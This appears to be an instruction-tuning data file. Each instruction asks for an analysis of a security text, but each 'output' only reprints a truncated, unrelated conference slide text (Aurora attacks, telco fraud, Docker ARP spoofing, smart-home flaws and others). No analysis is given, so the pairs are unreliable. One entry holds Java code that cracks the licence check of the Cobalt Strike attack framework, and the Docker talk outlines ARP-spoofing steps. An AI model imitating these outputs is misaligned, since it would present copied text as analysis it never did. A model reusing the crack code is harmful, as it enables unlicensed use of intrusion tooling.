thorough investigation of the
cyber intrusions that led
Google to make this
announcement. We also look
for that investigation and its
results to be transparent."
Source: Washington Times: 21 Jan 2010
"It was a very open and candid conversation. We agreed
we would continue this conversation in the context of our
ongoing dialogue."
Source: France 24: 28 Jan 2010
Foreign Minister Yang Jiechi
The Aurora Attacks – 5 Unprecedented Changes
13
The Aurora Attacks – 5 Unprecedented Changes
14
The Aurora Attacks – 5 Unprecedented Changes
15
$100,000,000
Vulnerability Assessment
Capabilities Research
The Aurora Attacks – 5 Unprecedented Changes
16
The Aurora Attacks – 5 Unprecedented Changes
17
Moonlight Maze
Titan Rain
The Aurora Attacks – 5 Unprecedented Changes
Byzantine Hades
18
The Aurora Attacks – 5 Unprecedented Changes
19
The Aurora Attacks – 5 Unprecedented Changes
20
Is Hard …
But not Impossible
Confidence is High
The Aurora Attacks – 5 Unprecedented Changes
21
Is Hard …
But not Impossible
Confidence is High
The Aurora Attacks – 5 Unprecedented Chan...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CobaltStrike 4.3 简单修改
几个月没有使用CobaltStrike了，因此最新的4.3，我也没有自己修改的版本。今天为了测试
HiveNightmare于是乎修改了下。
网上有@Twi1ight同学写的比较通用的CSAgent。
CSAgent使用需要引入jar包，并且windows下不能使用cobaltstrike.exe去启动。我个人还是习惯一个
cobaltstrike.jar，只做必要的修改，因此就自己修改了下。
主要修改了Authorization.class、BeaconData.class，两文件。
方便新手同学自己简单修改，我还是详细说下步骤：
Authorization.java，我在代码中标注，可以自定义的部分，主要还是watermark。
package common;
import java.io.*;
public class Authorization
{
    protected int watermark;
    protected String validto;
    protected String error;
    protected boolean valid;
    public Authorization() {
        this.watermark = 0;
        this.validto = "forever";
        this.error = null;
        this.valid = true;
        try {
            this.watermark = 29999999; //这个watermark也是id，建议自己定义，随便修改成
其他数字，比如：28888888
            MudgeSanity.systemDetail("valid to", "perpetual");
            MudgeSanity.systemDetail("id", this.watermark + "");
 SleevedResource.Setup(hex2bytes("3a4425490f389aeec312bdd758ad2b99"));
        }
        catch (Exception ex2) {
            MudgeSanity.logException("auth file parsing", ex2, false);
        }
    }
    public byte[] hex2bytes(String s) {
        int len = s.length();
        byte[] data = new byte[len / 2];
        for (int i = 0; i < len; i += 2) {
            data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) +
Character.digit(s.charAt(i+1), 16));
        }
        return data;
    }
BeaconData.java
    public boolean isPerpetual() {
        return "forever".equals(this.validto);
    }
    public boolean isValid() {
        return this.valid;
    }
    public String getError() {
        return this.error;
    }
    public String getWatermark() {
        return this.watermark + "";
    }
    public long getExpirationDate() {
        return CommonUtils.parseDate(this.validto, "yyyyMMdd");
    }
    public boolean isExpired() {
        return System.currentTimeMillis() > this.getExpirationDate() +
CommonUtils.days(1);
    }
    public String whenExpires() {
        final l...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Dmitry Kurbatov
Sergey Puzankov
 Vladimir Kropotov
Fractured Backbones –
Incidents Detection and
Forensics in Telco Networks
ptsecurity.com
About us
Joint research of Incident Response and Telco Security Teams
Introduction
Technologies behind telco networks
Чем мы пользуемся сегодня
и на основе каких технологий
это работает
Types of Incidents
• Subscriber location tracking
• Call interception (wiretapping)
• SMS interception and spoofing
• DoS, including balance DoS
• Other Fraudulent activities
Phone number
+7 777 5555555
GPS location
Incidents statistics. Major threats
Service Disruption
Data Leakage
Fraud
Percentage of vulnerable networks
Incidents statistics. Data leakage
Subscriber’s Balance Disclosure
Terminating SMS Interception
Subscriber Location Discovery
Voice Call Interception
Subscriber’s Data Leakage
Percentage of vulnerable networks
Incidents statistics. Fraud
Terminating Call Redirection
Money Transfer via USSD
Subscriber Profile Change
Originating Call Redirection
Percentage of vulnerable networks
Incident victims
• Mobile operator subscribers
• Mobile operator
• Other Mobile operators and their subscribers
• Third parties (often Banks and Their clients)
Prerequisites of attacks
• Internal intruder or Staff initiated attacks
• Level0 (almost) Kiddies - attacks that not require deep
technical knowledge
•SMS fraud as preliminary stage of malware based attacks
•Fraud with social engineering (direct target is victim)
•Proxified fraud with social engineering
• Level1(Locally initiated) - attacks that require technical
knowledge about Radio Access Network protocols
•IMSI Catcher
•Bluetooth
•Calls and SMS from the subscriber located nearby
•Level2 (Global impact) - attacks that require
technical knowledge about telco infrastructure and
protocols
Lightweight scenarios (Level0)
Kiddies fraud examples Typosquatting works well even here
http://journal.tinkoff.ru/declined/
Not legit
Legit
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The$Open$Crypto$Audit$Project:$
Our$Story6
Kenneth White & Matthew Green
DEF CON 22 | 2014.08.08
Open$Crypto$Audit$Project6
Everyone has a story. This is ours.
DEF CON 22 | 2014.08.08
Agenda6
•  First Principles
•  Post-Snowden Era
•  The TrueCrypt Story
•  Open Crypto Audit Project
•  Secure Coding & Trust
•  Looking Ahead
•  Open Discussion (and swag!)
DEF CON 22 | 2014.08.08
About$Us6
DEF CON 22 | 2014.08.08
Kenneth$White6
•  Interests: RT signals, embedded systems, analytics
•  First DEFCON: DC10
•  Formal training: bio-signals (EEG/ERP, MRI, PET,
EKG, EOG)
•  Early career: databases, *nix, RTOS, h/w drivers
•  Lifecycle: FDA (cardiac safety), SEI SEPG, IA
•  Defense: network security, API endpoints
•  Recently: public cloud security, ML/classification,
safety-critical systems, breaking crypto/networks/
websites/OS’
•  Now: OCAP, Linux Foundation CII, NGO security
•  @kennwhite
DEF CON 22 | 2014.08.08
I$like$to$work$on$interesting$problems6
DEF CON 22 | 2014.08.08
MaDhew$Green6
•  Johns Hopkins University: Computer Science
•  Teaches applied cryptography
•  Builds secure systems
•  Trained under Susan Hohenberger &Avi Rubin
•  Former senior research staff:  AT&T Labs
•  On-going Research includes:
o  Techniques for privacy-enhanced information storage
o  Anonymous payment systems (including ZeroCoin)
o  Bilinear map-based cryptography
•  @matthew_d_green
DEF CON 22 | 2014.08.08
MaDhew$Green6
DEF CON 22 | 2014.08.08
(not his actual Dachshunds)
Long$journey$to$DEFCON$(no,$really)6
DEF CON 22 | 2014.08.08
(my actual Shepherds, semi-medicated)
“I’m here to share what I know,
and learn with and from you.”
   — Jack Daniel
DEF CON 22 | 2014.08.08
First$Principles6
“If a bad guy can persuade you to run his program on
your computer, it's not your computer anymore.”
— Scott Culp
DEF CON 22 | 2014.08.08
First$Principles6
“If a bad guy can persuade you to run his program on
your computer, it's not your computer anymore.”
—...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

apk-message
0x00
appandroidmessage
0x01 message
message messagedemo
appA
Bandroid
1. message
Message message= new Message()
Message message= Message.obtain()
Messager message= handler.obtaionMessager()
obtain
2.
Message message = Message.obtain(); //
message.what = 0; //whatmessage code
message.arg1 = 1; //int
message.arg2 = 2; //int
message.obj = "aaaaa"; //
//bundlek-vbundlemap
Bundle bundle = new Bundle();
bundle.putString("name","");
message.setData(bundle);
3. handler
handler
//handlerhandleMessage
private Handler handler = new Handler(){
    @Override
    public void handleMessage(Message msg){
        super.handleMessage(msg);
        int msgcode = msg.what;//code
        int arg1 = msg.arg1; //
        int arg2 = msg.arg2;
        String resultMsg = (String)msg.obj; //string
        Bundle bundle = msg.getData();//bundle
        String name = bundle.getString("name");
    }
}
4.
1. messagehandlermsg.sendToTarget()handler
2. messagehandler.sendMessage(msg)handler
Ahandlermsgmsg
BBmsgsendToTargetAhandler
demomainhandlersetHandler
handlermsgmsgsendMessage
0x02 app
apk
//apkclasses.dex
d2j-dex2jar.sh classes.dex
//jarjd-guijar
urlclass
setProperty
xxx_url
setPropertygetPropertyxxxUrl
ThreadMessage
0x03
handler
threadMessage3handlerparamMessageobj
sendRequestthreadMessage3objmDataurl
sendRequest
post bodyurlrequestWithURL
makeHttpConn
0x03
PUTmsgmDatamData
mDatathreadMessage
1. sendToTargethandler
2. case 5 msg.what5threadMessage
3.
paramh.e()utf8byte
1. paramh.e()
2. xxxxResponse
e
xmlbodyplistplist
body
makeBaseResponse
plist
0x04
plistjsonplist
body
1. PUTurl
2. header
3. bodyplist
0x05
messagefrida


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

•
•
•
•
•
•
•
PythonConsole.cmd
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Zhanlu Lab, Tencent Inc.
针对Docker容器网络的ARP欺骗
与中间人攻击
演讲人：王凯 Kame Wang
2019
关于我
• 王凯，Kame Wang；
• 腾讯安全湛泸实验室高级研究员；
• 中国科学院大学信息安全博士；
• 研究兴趣包括：云安全、移动安全、区块链、自动化漏洞挖掘。
PART 01
研究背景
目录
CONTENTS
PART 02
本地测试
PART 03
云端测试
PART 04
讨论与总结
01
02
03
04
•
Docker及其虚拟网络
•
ARP欺骗与中间人攻击
PART.01
研究背景
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
容器技术简介
• 共享底层操作系统的进程间隔离技术
• 底层技术：Namespace、Cgroup …
• 优缺点 (vs 虚拟化技术)：
ü 优点：低成本、高效率、易部署
ü 缺点：共享内核，隔离不充分
Docker容器网络
• 系统向Docker实例提供网络通信能力
① 宿主系统虚拟网桥 (bridge);
② 宿主系统创建一对虚拟网口；
③ 将虚拟网口分别添加到Docker实例和虚拟网桥.
ARP欺骗
• 网络通信基于IP地址 vs 网卡接受数据基于Mac地址
• ARP表：IP地址 -> MAC地址
• ARP查询与反馈
• ARP欺骗：ARP数据包真实性无法验证
/ # arp -a
? (172.17.0.4) at 02:42:ac:11:00:04 [ether]  on eth0
? (172.17.0.2) at 02:42:ac:11:00:04 [ether]  on eth0
? (172.17.0.1) at 02:42:fa:4f:be:25 [ether]  on eth0
/ # arp -a
? (172.17.0.4) at 02:42:ac:11:00:04 [ether]  on eth0
? (172.17.0.1) at 02:42:fa:4f:be:25 [ether]  on eth0
中间人攻击
• 以ARP欺骗为基础可实现局域网内的中间人攻击
例：欺骗受害者，使其ARP缓存表中网关IP对应Mac地址遭到篡改。
• 中间人攻击的传统实现思路
使用原始套接字，在数据链路层进行数据帧的收发、监控和修改。
• 攻击场景举例
钓鱼攻击、会话劫持、Https中间人攻击……
在Docker容器网络里也是这样的吗？
•
测试环境搭建
•
ARP欺骗的实现方法及成功条件
•
中间人攻击的实现方法及成功条件
PART.02
本地测试
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
本地测试环境的搭建
• 创建3个Docker容器实例 (Ubuntu映像)：
① 正常服务（No.1），正常Http服务器;
② 受害者（No.2），向正常服务器发送Http请求;
③ 攻击者（No.3），进行ARP欺骗和中间人攻击。
• 中间人攻击PoC效果：
实现服务内容的篡改。
// 直接请求正常服务
/ # wget -O - 172.17.0.2
Connecting to 172.17.0.2 (172.17.0.2:80)
hello from NORMAL server.
 // 直接请求攻击者的恶意服务
/ # wget -O - 172.17.0.4
Connecting to 172.17.0.4 (172.17.0.4:80)
hello from MIMA server.
基于设备 VS 基于Docker的攻击
Linux Kernel
Attacker
Process
Linux Kernel (Bridge)
Docker
Instance 1
Docker
Instance 2
Docker
Instance 3
ARP欺骗的实现方法
① 创建原始套接字：操控数据链路层数据。
② 构造数据帧头部：
目的Mac为受害者，源Mac为攻击者。
③ 构造ARP包数据（即数据帧内容）：
目的IP为受害者IP，源IP为伪造目标（正常服务器）IP。
④ 重复发送上述恶意构造的数据包.
Linux Kernel
Attacker
Process
Linux Kernel (Bridge...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
Chasing Your Tail With A
Raspberry Pi
Matt Edmondson
#BHUSA @BlackHatEvents
Information Classification: General
Why Are We Talking About This?
• For some people, trying to figure out if they’re being
followed is a matter of physical safety for
themselves or others
• I was approached by a friend in this situation
looking for a technical option to use in conjunction
with traditional tradecraft
#BHUSA @BlackHatEvents
Information Classification: General
The New (i.e. Really Old) SDR: Surveillance
Detection Route
#BHUSA @BlackHatEvents
Information Classification: General
One Option: Looking for Persistent Digital
Signatures
• Go to Starbucks to grab a drink
• Hit the gas station to top off the tank
• Head over to the bookstore to look at magazines
• Now… Did I see any devices at all three locations?
#BHUSA @BlackHatEvents
Information Classification: General
One Option: Looking for Persistent Digital
Signatures Cont.
• We’ll accomplish this by passively detecting Wi-Fi
and Bluetooth devices we observe around us
• The devices could be part of an active connection, or
just looking for networks to connect to
#BHUSA @BlackHatEvents
Information Classification: General
Hardware
• For hardware I wanted to use things that I had
laying around in a closet
• I imagine many of you have these same things
gathering dust somewhere and if not, they’re cheap
#BHUSA @BlackHatEvents
Information Classification: General
Platform: Raspberry Pi is One Cheap Option
#BHUSA @BlackHatEvents
Information Classification: General
Wireless: Something You Can Put In Monitor
Mode
#BHUSA @BlackHatEvents
Information Classification: General
Power: A Battery Pack or Other Power
Source
#BHUSA @BlackHatEvents
Information Classification: General
Display: A Screen For Real Time Monitoring
#BHUSA @BlackHatEvents
Information Classification: General
Software: Kismet
• Open source with a fantastic Discord server
• Easy to install
• Passive
• Supports Wi-Fi, Bluetooth, SDR, ZigBee...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Taking your
ball and going
home; building
your own secure
storage space that
mirrors Dropbox's
functionality
Phil Cryer (@fak3r)
open source technologist
DEFCON 19 - August 2011
$ whoami
phil
$ whoami
phil
$ alias phil=@fak3r
http://aﬁstfulofsoundtracks.blogspot.com
$ whoami
phil
$ alias phil=@fak3r
$ cat brief_bio
- employed as a systems engineer
- security researcher and privacy advocate (EFF)
- currently working on sharing biodiversity data
- aim to balance security with openness
- have worked with Linux and open source for over ten years
http://dropbox.com
Always have your stuff, wherever you are.
http://dropbox.com
Brief history
2007 June - founded, receives series A funding
2007 September - receives $1.2M in seed funding (Y Combinator)
2007 October - receives $6M in Series A funding
2008 Fall - secures $7.2M Series A funding  (Sequoia Capital, Accel Partners)
http://www.crunchbase.com/company/dropbox
Dropbox enables people to sync ﬁles and media across platforms and devices, in order to
have them available from any location.
The service also allows people to easily and quickly share ﬁles with others.
Dropbox provides users with 2 GB of space for free, and they can pay for more.
http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-ﬁles-per-day
People use Dropbox for personal storage, ﬁle syncing between machines, and group
collaboration on projects.
They have desktop software for the usual OSs (Mac OSX, Linux and Windows) and mobile
access, that makes things run smoothly.
http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-ﬁles-per-day
Current growth
2009 2 millions users
2010 4 million users
2011 April - Dropbox claims to have 25 million users of its free service
http://techcrunch.com/2011/04/17/dropbox-hits-25-millions-users-200-million-ﬁles-per-day
“Today, Dropbox has 25 million users and 200 million ﬁles are “saved” daily, and
more than 1 million every ﬁve minutes.”
http://techcrunch.com/2011/04/...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Want strong isolation?
Just reset your processor.
How we can build more secure systems by applying
the age-old wisdom of “turning it off and on again”
Anish Athalye, Adam Belay, Frans Kaashoek, Robert Morris, Nickolai Zeldovich
Security devices are increasingly common
Smartphone apps
Custom hardware
2
They are getting better
Smaller TCB
SMS 2FA
Smartphone
TOTP
Hardware
TOTP
Smartphone
U2F
Hardware
U2F
Hardware
Cryptocurrency
wallet
3
Paradigm shift
2FA: More secure login on PC
Transaction approval,
Removes PC from TCB
4
Can we make the PC secure instead?
5
• Endless bugs:
• Application bugs
• OS bugs (kernels > 20M LOC)
• Micro-architectural CPU bugs (Spectre, Meltdown, Foreshadow, Zombieload)
• Hardware bugs (Rowhammer, RAMBleed)
npm install event-stream
https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident
Transaction approval on simple devices
6
Remove PC from TCB
Untrusted PC
Trusted hardware
(has private key)
7
TX
Sign(TX)
Remove PC from TCB
8
Not just cryptocurrencies
9
Before: confirm on PC
After: must confirm on device, which signs transaction
Not just cryptocurrencies
10
Transaction approval everywhere!
•••
11
Transaction approval everywhere!
•••
12
Sharing results in isolation bugs
• Some past wallet bugs
• Bad argument validation in syscalls
• Bad configuration of MPU
[Riscure @ Black Hat 2018; Ledger Blog;
Trezor Blog]
13
USB
SoC:
CPU+RAM,
Flash,
Peripherals
Buttons
Display
Security through physical separation
14
Simulating physical separation
15
Reset-based design
16
CPU
RAM
CPU
RAM
UART
Flash
Buttons
Display
USB
Application core
Management core
Syscalls:
exit()
exit_state(state)
Runs third-party code;
has no persistent state
Manages persistent state;
never runs third-party code
What needs to be reset?
17
CPU
RAM
CPU
RAM
UART
Flash
Buttons
Display
USB
Application core
Management core
Purging state in a CPU, attempt #1
18
cut power
Purging state in a CPU, attempt #2
19
reset!
What does reset mean?
20
RISC-V Instruction Set M...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Defending Networks with
Incomplete Information: A
Machine Learning Approach
Alexandre Pinto
alexcp@mlsecproject.org
@alexcpsec
@MLSecProject
• This is a talk about DEFENDING not attacking
– NO systems were harmed on the development of
this talk.
– We are actually trying to BUILD something here.
• This talk includes more MATH than the daily
recommended intake by the FDA.
• You have been warned...
** WARNING **
•
12 years in Information Security, done a little bit of
everything.
•
Past 7 or so years leading security consultancy and
monitoring teams in Brazil, London and the US.
– If there is any way a SIEM can hurt you, it did to me.
•
Researching machine learning and data science in
general for the past year or so. Participates in Kaggle
machine learning competitions (for fun, not for proﬁt).
•
First presentation at DefCon! (where is my shot?)
Who’s this guy?
• Security Monitoring: We are doing it wrong
• Machine Learning and the Robot Uprising
• Data gathering for InfoSec
• Case study: Model to detect malicious
activity from log data
• MLSec Project
• Attacks and Adversaries
• Future Direction
Agenda
• Logs, logs everywhere
The Monitoring Problem
• Logs, logs everywhere
The Monitoring Problem
•
SANS Eighth Annual 2012 Log and Event Management Survey Results (http://
www.sans.org/reading_room/analysts_program/SortingThruNoise.pdf)
Are these the right tools for the job?
•
SANS Eighth Annual 2012 Log and Event Management Survey Results (http://
www.sans.org/reading_room/analysts_program/SortingThruNoise.pdf)
Are these the right tools for the job?
• Rules in a SIEM solution invariably are:
– “Something” has happened “x” times;
– “Something” has happened and other “something2”
has happened, with some relationship (time, same
ﬁelds, etc) between them.
• Conﬁguring SIEM = iterate on combinations until:
– Customer or management is fooled satisﬁed; or
– Consulting money runs out
• Behavioral rules (anomaly detection) helps a bit
with the “x”s, but still, very la...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Linux-Stack Based V2X Framework: All You Need to
Hack Connected Vehicles
Duncan Woodbury, Nicholas Haltmeyer
{p3n3troot0r@protonmail.com, ginsback@protonmail.com}
July 29, 2017
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
1 / 38
State of the World: (Semi)Autonomous Driving
Technologies
Vehicular automation widespread in global industry
Automated driving technologies becoming accessible to general public
Comms protocols used today in vehicular networks heavily ﬂawed
New automated technologies still using CANBUS and derivatives
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
2 / 38
Stages of Autonomy
Today: Stage 2 Autonomy - Combined Function Automation
V2X: Stage 3 Autonomy - Combined Function Automation
) Leverage vehicular ad hoc mesh network for exchange of safety
and actor/world state information
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
3 / 38
Critical Aspects of V2X
Reliable high-throughput ad hoc mesh networking and exchange in a
real-time cyberphysical environment
Standardization of Stage 3 automation in federal and consumer
transportation systems
Enhanced safety and traﬃc optimization technologies leveraging V2X
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
4 / 38
Technologies Using V2X
Collision avoidance (Forward Collision Warning) systems
Advanced Driver Assistance Systems (ADAS)
Cooperative adaptive cruise control
Automated ticketing and tolling
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
5 / 38
Impact of V2X: Why Care?
Most importantly: self-driving cars are shiny
Your children will (would) ride in these
Enables safety functions not possible with onboard systems
V2X technologies applicable across range of cyberphysical systems
NHTSA V2V NPRM: V2V to be standardized in light vehicles
It‘s happening: You want in?
p3n3troot0r, ginsback
DEFCON V2X
July 29, 2017
6 / 38
Tangible Beneﬁts
According to the USDOT,
Safety
Prevent 25,000 to 592,000 crashes annually
Save 49 to 1,083 lives
Avoid 11,000 to 270,000 injuries
Prevent 31,000 to 728,000 property...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SSD
  Data
  Evapora+on
DEF
  CON
  21
August
  2,
  2013
Bio
Data
  Remanence
Deleted
  Data
•  On
  magne+c
  hard
disks,
  data
  remains
+ll
  it
  is
  overwriEen
•
Image
  from
www.howstuﬀworks.com
DEMO
  on
  Windows
•  Observing
  data
  on
  a
  magne+c
  hard
  disk
  aMer
– Moving
  to
  Recycle
  Bin
– Emptying
  Recycle
  Bin
– FormaOng
  Drive
  (Quick)
– FormaOng
  Drive
  (Slow)
Forensics
  &
  Data
  Recovery
•  We
  can
  recover
  deleted
  data
•  Find
  evidence
  of
  crimes
•  Even
  aMer
  a
  format
•  Very
  few
  criminals
  know
  enough
  to
  use
encryp+on
  or
  forensic
  erasure
Useful
  Free
  Data
  Recovery
  Tools
•  Recuva
  for
  PC
•  Disk
  Drill
  for
  Mac
SSDs
•
From
  hEp://www.isuppli.com/Abstract/P28276_20130322152341.pdf
How
  SSDs
  Work
•  Data
  can
  be
  read
  and
wriEen
  one
  page
  at
  a
+me,
  but
  can
  only
  be
erased
  a
  block
  at
  a
+me
•  Each
  erasure
  degrades
the
  ﬂash—it
  fails
around
  10,000
erasures
•
From
  hEp://www.anandtech.com/
show/2738/5
Garbage
  Collec+on
•  SSD
  controller
  erases
  pages
  all
  by
  itself,
  when
it
  knows
  they
  are
  empty
•  The
  TRIM
  command
  is
  sent
  to
  the
  SSD
  when
  a
ﬁle
  is
  deleted
– But
  only
  if
  you
  use
  a
  the
  correct
  OS,
  Par++on
  type,
and
  BIOS
  seOngs
•  Yuri
  Gubanov
  calls
  this
  “Self-‐Corrosion”
  –
  I
  call
it
  Data
  Evapora;on
Demo
  on
  Mac:
  Disk
  Drill
•  Deleted
  ﬁles
from
  desktop
evaporate
  in
30-‐60
  min
Demo
  on
  PC
•  Save
  data
  on
  an
  SSD
•  Watch
  it
  evaporate!
•  How
  to
  test
  TRIM
– fsu;l
  behavior
  query
  DisableDeleteNo;fy
– Zero
  =
  TRIM
  enabled
When
  Does
  TRIM
  Work?
•  BIOS:
  Drive
  must
  be
  SATA
  in
  AHC...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

NETWORK FLOW ANALYSIS
DefCon 2008
Bruce Potter
gdead@shmoo.com
bpotter@pontetec.com
Copyright 2008 - Bruce Potter
INTRODUCTIONS
  Bruce Potter
  Founder of Ponte Technologies
  Focus on advanced defensive technologies
  Founder of The Shmoo Group
  We run ShmooCon as well as other events
  Co-author of several books and other stuff
  802.11 Security
  Mastering FreeBSD and OpenBSD Security
  Mac OS X Security
  Don’t believe anything you hear in Vegas
  It’s mostly made up for publicity, either personal or
corporate
  We’re not formally trained… we shoot from the hip
Copyright 2008 - Bruce Potter
FIRST, A PLUG
  No, I don’t get paid for this
  We’ll be talking a lot about data representation
and visualization
  This is not something to be entered into lightly…
there’s a lot of science and theory behind data
visualization
  Unfortunately it’s hard to bring analysis and
visualization concepts to the lay person in a
reasonable amount of time
Copyright 2008 - Bruce Potter
EDWARD TUFTE
  Probably best know for his slagging on PPT
  Created the Gettysburg Address as a PPT… amusing
  Published a series of books on data representation
and visualization
  Visual Explanations
  Envisioning Information
  The Visual Display of Quantitative Information
  Beautiful Evidence
  Teaches 1 day classes around the country on data
representation and visualization.
  Again, I’m not paid for any of this, but I seriously
recommend you go if you can
  http://www.edwardtufte.com/tufte/
  It’s darn near a religious experience for some
Copyright 2008 - Bruce Potter
IT Security Operations
Software
Network
IT Operations
Academic / Engineering
LET’S HAVE SOME STRUCTURE TO OUR
DISCUSSION
Honeypots
IDS, IR &
Flow Analysis
Software Security &
Software ACL’s
Firewalls & AAA Services
Patch management, procedures,
policy
Sophistication and Operational Cost
WHAT IS NETWORK ANALYSIS?
  Quite simply, looking a...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Security)Auditing)Mobile)Apps)
!
DEF)CON)23!
Sat.,)Aug)9,)2015)9C1!
Sam)Bowne)
City)College)San)Francisco!
Slides)and)projects)at)samsclass.info)
Adding&Trojans&to&Apps&
Slides'and'projects'at'samsclass.info'
Android&is&#1&
•  80%&market&
share&in&2014&
– Link&Ch&4a&
Slides'and'projects'at'samsclass.info'
App&Signing&
•  All&apps&must&be&signed&to&be&installed,&BUT&
– Android&allows&selfEsigned&cerGﬁcates&
•  Google&Play&is&the&"oﬃcial"&app&store,&BUT&
– Google&doesn't&police&it&well&
– Apps&can&be&installed&from&email,&Web&pages,&etc.&
Slides'and'projects'at'samsclass.info'
Android&Debug&
Bridge&
•  CommandEline&tool&
•  Allows&you&to&communicate&with&a&mobile&
device&via&a&USB&cable&or&an&SVD&running&
within&an&emulator&
•  Connects&to&device's&daemon&running&on&TCP&
port&5037&
Slides'and'projects'at'samsclass.info'
Useful&ADB&Commands&
•  push&
– Copies&a&ﬁle&from&your&computer&to&the&mobile&
device&
•  pull&
– Copies&a&ﬁle&from&the&mobile&device&to&your&
computer&
•  logcat&
– Shows&logging&informaGon&on&the&console&
– Useful&to&see&if&an&app&or&the&OS&is&logging&
sensiGve&informaGon&
Slides'and'projects'at'samsclass.info'
Useful&ADB&Commands&
•  install&
– Copies&an&applicaGon&package&ﬁle&(APK)&to&the&
mobile&device&and&installs&the&app&
– Useful&for&sideEloading&apps&(so&you&don't&have&to&
use&Google&Play)&
•  shell&
– Starts&a&remote&shell&on&the&mobile&device&
– Allows&you&to&execute&arbitrary&commands&
Slides'and'projects'at'samsclass.info'
Decompiling&and&Disassembly&
Slides'and'projects'at'samsclass.info'
StaGc&Analysis&
•  Source&code&is&generally&kept&conﬁdenGal&by&
app&developers&
•  A&binary,&compiled&app&can&be&analyzed&by&
disassembling&or&decompiling&them,&into&
– Smali&assembly&code&(used&by&Dalvik&VM),&or&
– Java&code&
Slides'and'projects'at'samsclass.info'
Slides'and'projects'at'samsclass.info'
TD&Ameritrade&
•  No&obfuscaGon&
Slides'and'projects'at'samsclass.info'
Bank&of&America&
•  ProGuard&Free&Obfuscator&
– Worthless&
Slides'and'projects'at...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

“How can I pwn thee?
Let me count the ways”
RenderMan
RenderLab.net & Church of Wifi
Render@Renderlab.Net
How can I pwn thee?
● Born out of conversations at SECTOR
● Workforce is increasingly mobile and wireless
● Mobile users are away from your watchful
BOFH eye (and punishment)
● How do you educate them, protect your
company, protect yourself
● By no means and exhaustive list
● Full Disclosure
Meet Bob
● Bob works for widgets
international
● Bob sells widgets
● Bob travels to
customer sites
● Bob is your worst
nightmare
Bob
● Bob likes to think
himself tech savvy
● Bob really just knows
enough to get access
to pr0n
● Bob is widgets
internationals worst
enemy
● Bob is also the worst
case scenario
Let me count the ways
● Let's pwn Bob
● We won't touch Bob,
just abuse wireless
communication
● I.E. Bored hackers on
long trips to a
conference through
international airports
coming from another
international
conference in, say,
Norway...
WiFi Threats
● Bob has a laptop with
tons of private
company info
● Bob likes to connect
to hotspots at
airports, train
stations, hotels
● Bob connects to
anything – Linksys
Global Network
WiFi Threats
● Hotspots generally do not encrypt
● Cleartext = Clear to read = Clear to inject
– Images, Scripts, DNS, etc
● No VPN = certain pwn'age
● No firewall + browsable shares = pillage!
● MiTM attacks, password snarf
● Defcon 15 Hotel net
● Attacker is on the local net
● Driver Vulns
Norway experiment
● Airpwn inject 'alternate' images
● See if other continents were observant
● First image, not so much...
First Image
Norway Experiment
● Not many noticed
● A few scratched heads
● Lets up the ante
● Second image...
Second Image
They got the hint
I didn't get punched in the face (yay!)
WiFi Threats
● Karma, Hotspotter,
Metasploit
● Hacking the friendly
skies
● Cafe Latte exploit,
recover company
WEP keys
● De-auth headaches
● If it's on, it's probably
pwn'able
Stopping WiFi Threats
● Disable Wifi when not in use
● C...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

© 2012
Presented by:
Home Invasion v2.0
Attacking Network-Controlled Embedded Devices
Daniel
“unicornFurn
© 2012
© 2012
•
Who are we?
© 2012
The Presenters
•
Daniel “unicornFurnace” Crowley
– Managing Consultant, Trustwave (SpiderLabs team)
•
Jennifer “savagejen” Savage
– Software Engineer, Tabbedout
•
David “videoman” Bryan
– Security Consultant, Trustwave (SpiderLabs team)
© 2012
© 2012
•
What are we doing here?
© 2012
The “Smart” Home
Science fiction becomes science fact
Race to release novel products means poor security
Attempt to hack a sampling of “smart” devices
Many products we didn’t cover
Android powered oven
Smart TVs
IP security cameras
© 2012
© 2012
•
What’s out there?
© 2012
Belkin WeMo Switch
© 2012
Belkin WeMo Switch
1.
Vulnerable libupnp version
2.
Unauthenticated UPnP actions
1.
SetBinaryState
2.
SetFriendlyName
3.
UpdateFirmware
© 2012
MiOS VeraLite
© 2012
MiOS VeraLite
1.
Lack of authentication on web console by default
2.
Lack of authentication on UPnP daemon
3.
Path Traversal
4.
Insufficient Authorization Checks
1.
Firmware Update
2.
Settings backup
3.
Test Lua code
5.
Server Side Request Forgery
6.
Cross-Site Request Forgery
7.
Unconfirmed Authentication Bypass
Vulnerable libupnp Version
